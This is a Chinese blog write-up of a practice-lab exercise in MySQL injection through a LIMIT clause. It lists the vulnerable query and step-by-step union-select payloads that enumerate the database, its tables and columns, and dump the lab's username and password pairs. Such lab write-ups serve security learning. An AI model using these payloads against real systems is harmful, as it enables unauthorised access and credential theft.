当前位置:网站首页>五号黯区靶场 mysql 注入之limit注入记录
五号黯区靶场 mysql 注入之limit注入记录
2022-07-30 05:51:00 【YouthBelief】
前言
感谢五号黯区团队。
limit 功能 通常在分页处
比如page 字段 可能存在
limit注入(不存在order by)
http://bug.cc:86/limit/limit.php?p=1
访问靶场如下图
原数据库语句如下
select * from users where id <= 100 limit $p,1
p为传参点
1.1 当p 为1时 sql语句和回显为
select * from users where id <= 100 limit 1,1
id:2 username:Angelina password:I-kill-you
1.2 测试是否存在sql注入
payload:输入2 --+
select * from users where id <= 100 limit 2 -- ,1
id:1 username:Dumb password:Dumb
id:2 username:Angelina password:I-kill-you
如上 注释掉了 后边的,- 查询出两条数据
sql语句 执行成功 说明存在sql注入
1.3 测试回显位(limit注入后不能用order by 判断列数 )
payload:1,0 union select 1,2,3 --+
select * from users where id <= 100 limit 1,0 union select 1,2,3 – ,1
id:1 username:2 password:3
1.4 爆数据
库
select * from users where id <= 100 limit 1,0 union select 1,2,database() -- ,1
id:1 username:2 password:security
表
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- ,1
id:1 username:2 password:emails,referers,uagents,users
字段(两个语句锁定这个表)
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() -- ,1
id:1 username:2 password:id,username,password
字段值
select * from users where id <= 100 limit 1,0 union select 1,2,group_concat(username,0x7e,password) from security.users -- ,1
id:1 username:2 password:Dumb~Dumb,Angelina~I-kill-you,[email protected],secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
1.5 总结
回显 传入 2–+ 测试 就可以显示出3个字段
后续测法就和正常union 联合一样 但是不能用order by 判断数据列数
边栏推荐
猜你喜欢

Rodrigues: vector representation of rotation matrices

图解关系数据库设计思想,这也太形象了

redis实现分布式锁的原理

AI can identify race from X-rays, but no one knows why

Linx common directory & file management commands & VI editor usage introduction

The Society of Mind - Marvin Minsky

Ali Ermian: How many cluster solutions does Redis have?I answered 4

Ali two sides: List several tips for Api interface optimization

识别“数据陷阱”,发现数据的可疑之处

Linx常见目录&文件管理命令&VI编辑器使用 介绍
随机推荐
MySQL什么时候用表锁,什么时候用行锁?
深度学习:线性回归模型
Test Development Engineer Growth Diary 015 - Top 20 Test Interview Questions
What are the access modifiers, declaration modifiers, and keywords in C#?Literacy articles
go : 使用 grom 删除数据库数据
AI元学习引入神经科学,医疗效果有望精准提升
B站崩了,如果是你是那晚负责的开发人员你会怎么做?
Go语学习笔记 - gorm使用 - 数据库配置、表新增 Web框架Gin(七)
Table with tens of millions of data, how to query the fastest?
进制转换。。。
引导过程与服务控制
When does MySQL use table locks and when does it use row locks?
The calculation and source code of the straight line intersecting the space plane
和AI一起玩儿剧本杀:居然比我还入戏
Camera coordinate system, world coordinate system, pixel coordinate system conversion, and Fov conversion of OPENGLDEFocal Length and Opengl
空间顶点到平面的距离计算的证明及其源码
sql concat()函数
The first artificial intelligence safety competition officially launched
[GO语言基础] 一.为什么我要学习Golang以及GO语言入门普及
Distance calculation from space vertex to straight line and its source code